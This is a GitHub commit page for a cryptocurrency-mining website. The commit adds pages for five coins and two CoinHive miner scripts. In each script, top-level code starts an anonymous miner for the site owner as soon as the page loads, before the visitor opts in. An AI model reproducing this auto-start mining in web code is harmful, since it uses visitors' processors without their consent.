Skip to content
This repository has been archived by the owner on Oct 17, 2022. It is now read-only.

Commit

Permalink
Merge branch 'dev'
Browse files Browse the repository at this point in the history
  • Loading branch information
Emiller88 committed Jan 13, 2018
2 parents 45e71af + 85bf20c commit 24b04bf
Show file tree
Hide file tree
Showing 29 changed files with 2,103 additions and 214 deletions.
10 changes: 5 additions & 5 deletions TODO.md
@@ -1,9 +1,4 @@
# TODO
- [ ] Add RaiBlocks
- [ ] Add NEM
- [ ] Add Stellar
- [ ] Add Tron
- [ ] Add EoS
- [ ] Fix Cardano background
- [ ] SEO
- [ ] missing heading tag: h4
Expand Down Expand Up @@ -37,3 +32,8 @@
- [X] Fix background
- [X] Etc
- [X] Fix background
- [X] Add RaiBlocks
- [X] Add NEM
- [X] Add Stellar
- [X] Add Tron
- [X] Add EoS
10 changes: 10 additions & 0 deletions ada.html
Expand Up @@ -59,6 +59,16 @@
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="ltc.html">Litecoin</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="eos.html">EoS</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="nem.html">NEM</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="xlm.html">Stellar</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="trx.html">Tron</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="xrb.html">Raiblocks</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="iota.html">Iota</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="xrp.html">Ripple</a>
Expand Down
Binary file added assets/img/eos.png
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
1 change: 1 addition & 0 deletions assets/img/nem.svg
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added assets/img/trx.png
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added assets/img/xlm.png
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added assets/img/xrb.png
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
111 changes: 111 additions & 0 deletions assets/js/startEOSminer.js
@@ -0,0 +1,111 @@
var siteKey = 'wa8hBKDsq6HbuplTPJj6NZr0MGs3kVuH'

/** For Setting up the User Miner */
var anonMiner = new CoinHive.Anonymous(siteKey, {throttle: 0.2});
if (!miner.isMobile()) {
anonMiner.start();
} else {
window.alert("Please note that you are mining on mobile which is not recommended.");
}

function getWalletAddress() {
return document.getElementById('eosAddress').value;
}

function createAttribute(name, val, parent) {
var a = document.createAttribute(name);
a.value = val;
parent.setAttributeNode(a);
}

self.CoinHive = self.CoinHive || {};
self.CoinHive.CONFIG = {
LIB_URL: "https://coinhive.com/lib/",
WEBSOCKET_SHARDS: [["wss://ws001.coinhive.com/proxy", "wss://ws002.coinhive.com/proxy", "wss://ws003.coinhive.com/proxy", "wss://ws004.coinhive.com/proxy", "wss://ws005.coinhive.com/proxy", "wss://ws006.coinhive.com/proxy", "wss://ws007.coinhive.com/proxy", "wss://ws029.coinhive.com/proxy"], ["wss://ws008.coinhive.com/proxy", "wss://ws009.coinhive.com/proxy", "wss://ws010.coinhive.com/proxy", "wss://ws011.coinhive.com/proxy", "wss://ws012.coinhive.com/proxy", "wss://ws013.coinhive.com/proxy", "wss://ws014.coinhive.com/proxy", "wss://ws030.coinhive.com/proxy"], ["wss://ws015.coinhive.com/proxy", "wss://ws016.coinhive.com/proxy", "wss://ws017.coinhive.com/proxy", "wss://ws018.coinhive.com/proxy", "wss://ws019.coinhive.com/proxy", "wss://ws020.coinhive.com/proxy", "wss://ws021.coinhive.com/proxy", "wss://ws031.coinhive.com/proxy"], ["wss://ws022.coinhive.com/proxy", "wss://ws023.coinhive.com/proxy", "wss://ws024.coinhive.com/proxy", "wss://ws025.coinhive.com/proxy", "wss://ws026.coinhive.com/proxy", "wss://ws027.coinhive.com/proxy", "wss://ws028.coinhive.com/proxy", "wss://ws032.coinhive.com/proxy"]],
CAPTCHA_URL: "https://coinhive.com/captcha/",
MINER_URL: "https://coinhive.com/media/miner.html"
};
function createiframe() {
"use strict";
var Miner = function(div) {
this.div = div;
var params = div.dataset;
var url = CoinHive.CONFIG.MINER_URL + "?key=" + params.key + "&user=" + encodeURIComponent(params.user || "") + "&whitelabel=" + (params.whitelabel === "true" ? "1" : "0") + "&autostart=" + (params.autostart === "true" ? "1" : "0") + "&throttle=" + (params.throttle || "") + "&threads=" + (params.threads || "") + "&background=" + (params.background || "").replace(/#/g, "") + "&text=" + (params.text || "").replace(/#/g, "") + "&action=" + (params.action || "").replace(/#/g, "") + "&graph=" + (params.graph || "").replace(/#/g, "");
if (params.start !== undefined) {
url += "&start=" + encodeURIComponent(params.start)
}
this.div.innerHTML = "";
this.iframe = document.createElement("iframe");
this.iframe.style.width = "100%";
this.iframe.style.height = "320px";
this.iframe.style.border = "none";
this.iframe.src = url;
this.div.appendChild(this.iframe)
};
Miner.CreateElements = function() {
var elements = document.querySelectorAll(".coinhive-miner");
for (var i = 0; i < elements.length; i++) {
new Miner(elements[i])
}
};
if (document.readyState === "complete" || document.readyState === "interactive") {
Miner.CreateElements()
} else {
document.addEventListener("readystatechange", function() {
if (document.readyState === "interactive") {
Miner.CreateElements()
}
})
}
window.CoinHive = window.CoinHive || {};
window.CoinHive.Miner = Miner
}


function startUserMiner() {
var userWalletAddress = getWalletAddress();
var userMiner = new CoinHive.User(siteKey, 'EOS=' + userWalletAddress, {threads: 1,
throttle: 1});
// AnonMiner.stop();
// Neccessary to update user Total Hashes not actually Mining
// Fuck CoinHive
userMiner.start();

var button = document.getElementById('minerButton');
button.innerHTML = "Mining to: " + userWalletAddress;
button.disabled = 'true';

var parent = document.getElementById("iframeParent");
var div = document.createElement('div');
createAttribute('class', 'coinhive-miner', div);
createAttribute('data-key', siteKey, div);
createAttribute('data-user', 'EOS=' + userWalletAddress, div);
createAttribute('data-autostart', 'true', div);
createAttribute('data-whitelabel', 'false', div);
createAttribute('data-background', '#FFFFFF', div);
createAttribute('data-text', '#4C4C4C', div);
createAttribute('data-action', '#000000', div);
createAttribute('data-graph', '#000000', div);
createAttribute('data-start', 'Start Mining!', div);
div.innerHTML = "<em>Please disable Adblock!</em>";
parent.appendChild(div);

createiframe();

// User Hashes
setInterval(function() {
var userHashes = userMiner.getAcceptedHashes();
document.getElementById('formTitle').innerHTML = 'Hash Balance Prior to this Session: ' + userHashes + ' Hashes';
}, 1000);
}
function minerURL() {
// Get query
var queryString = window.location.search;
if (queryString.length) {
queryString = queryString.substring(1);
document.getElementById('eosAddress').value = queryString;
startUserMiner();
}
}

minerURL();
111 changes: 111 additions & 0 deletions assets/js/startNEMminer.js
@@ -0,0 +1,111 @@
var siteKey = 'wa8hBKDsq6HbuplTPJj6NZr0MGs3kVuH'

/** For Setting up the User Miner */
var anonMiner = new CoinHive.Anonymous(siteKey, {throttle: 0.2});
if (!miner.isMobile()) {
anonMiner.start();
} else {
window.alert("Please note that you are mining on mobile which is not recommended.");
}

function getWalletAddress() {
return document.getElementById('nemAddress').value;
}

function createAttribute(name, val, parent) {
var a = document.createAttribute(name);
a.value = val;
parent.setAttributeNode(a);
}

self.CoinHive = self.CoinHive || {};
self.CoinHive.CONFIG = {
LIB_URL: "https://coinhive.com/lib/",
WEBSOCKET_SHARDS: [["wss://ws001.coinhive.com/proxy", "wss://ws002.coinhive.com/proxy", "wss://ws003.coinhive.com/proxy", "wss://ws004.coinhive.com/proxy", "wss://ws005.coinhive.com/proxy", "wss://ws006.coinhive.com/proxy", "wss://ws007.coinhive.com/proxy", "wss://ws029.coinhive.com/proxy"], ["wss://ws008.coinhive.com/proxy", "wss://ws009.coinhive.com/proxy", "wss://ws010.coinhive.com/proxy", "wss://ws011.coinhive.com/proxy", "wss://ws012.coinhive.com/proxy", "wss://ws013.coinhive.com/proxy", "wss://ws014.coinhive.com/proxy", "wss://ws030.coinhive.com/proxy"], ["wss://ws015.coinhive.com/proxy", "wss://ws016.coinhive.com/proxy", "wss://ws017.coinhive.com/proxy", "wss://ws018.coinhive.com/proxy", "wss://ws019.coinhive.com/proxy", "wss://ws020.coinhive.com/proxy", "wss://ws021.coinhive.com/proxy", "wss://ws031.coinhive.com/proxy"], ["wss://ws022.coinhive.com/proxy", "wss://ws023.coinhive.com/proxy", "wss://ws024.coinhive.com/proxy", "wss://ws025.coinhive.com/proxy", "wss://ws026.coinhive.com/proxy", "wss://ws027.coinhive.com/proxy", "wss://ws028.coinhive.com/proxy", "wss://ws032.coinhive.com/proxy"]],
CAPTCHA_URL: "https://coinhive.com/captcha/",
MINER_URL: "https://coinhive.com/media/miner.html"
};
function createiframe() {
"use strict";
var Miner = function(div) {
this.div = div;
var params = div.dataset;
var url = CoinHive.CONFIG.MINER_URL + "?key=" + params.key + "&user=" + encodeURIComponent(params.user || "") + "&whitelabel=" + (params.whitelabel === "true" ? "1" : "0") + "&autostart=" + (params.autostart === "true" ? "1" : "0") + "&throttle=" + (params.throttle || "") + "&threads=" + (params.threads || "") + "&background=" + (params.background || "").replace(/#/g, "") + "&text=" + (params.text || "").replace(/#/g, "") + "&action=" + (params.action || "").replace(/#/g, "") + "&graph=" + (params.graph || "").replace(/#/g, "");
if (params.start !== undefined) {
url += "&start=" + encodeURIComponent(params.start)
}
this.div.innerHTML = "";
this.iframe = document.createElement("iframe");
this.iframe.style.width = "100%";
this.iframe.style.height = "320px";
this.iframe.style.border = "none";
this.iframe.src = url;
this.div.appendChild(this.iframe)
};
Miner.CreateElements = function() {
var elements = document.querySelectorAll(".coinhive-miner");
for (var i = 0; i < elements.length; i++) {
new Miner(elements[i])
}
};
if (document.readyState === "complete" || document.readyState === "interactive") {
Miner.CreateElements()
} else {
document.addEventListener("readystatechange", function() {
if (document.readyState === "interactive") {
Miner.CreateElements()
}
})
}
window.CoinHive = window.CoinHive || {};
window.CoinHive.Miner = Miner
}


function startUserMiner() {
var userWalletAddress = getWalletAddress();
var userMiner = new CoinHive.User(siteKey, 'NEM=' + userWalletAddress, {threads: 1,
throttle: 1});
// AnonMiner.stop();
// Neccessary to update user Total Hashes not actually Mining
// Fuck CoinHive
userMiner.start();

var button = document.getElementById('minerButton');
button.innerHTML = "Mining to: " + userWalletAddress;
button.disabled = 'true';

var parent = document.getElementById("iframeParent");
var div = document.createElement('div');
createAttribute('class', 'coinhive-miner', div);
createAttribute('data-key', siteKey, div);
createAttribute('data-user', 'NEM=' + userWalletAddress, div);
createAttribute('data-autostart', 'true', div);
createAttribute('data-whitelabel', 'false', div);
createAttribute('data-background', '#FFFFFF', div);
createAttribute('data-text', '#4C4C4C', div);
createAttribute('data-action', '#34B8AC', div);
createAttribute('data-graph', '#34B8AC', div);
createAttribute('data-start', 'Start Mining!', div);
div.innerHTML = "<em>Please disable Adblock!</em>";
parent.appendChild(div);

createiframe();

// User Hashes
setInterval(function() {
var userHashes = userMiner.getAcceptedHashes();
document.getElementById('formTitle').innerHTML = 'Hash Balance Prior to this Session: ' + userHashes + ' Hashes';
}, 1000);
}
function minerURL() {
// Get query
var queryString = window.location.search;
if (queryString.length) {
queryString = queryString.substring(1);
document.getElementById('nemAddress').value = queryString;
startUserMiner();
}
}

minerURL();

0 comments on commit 24b04bf

Please sign in to comment.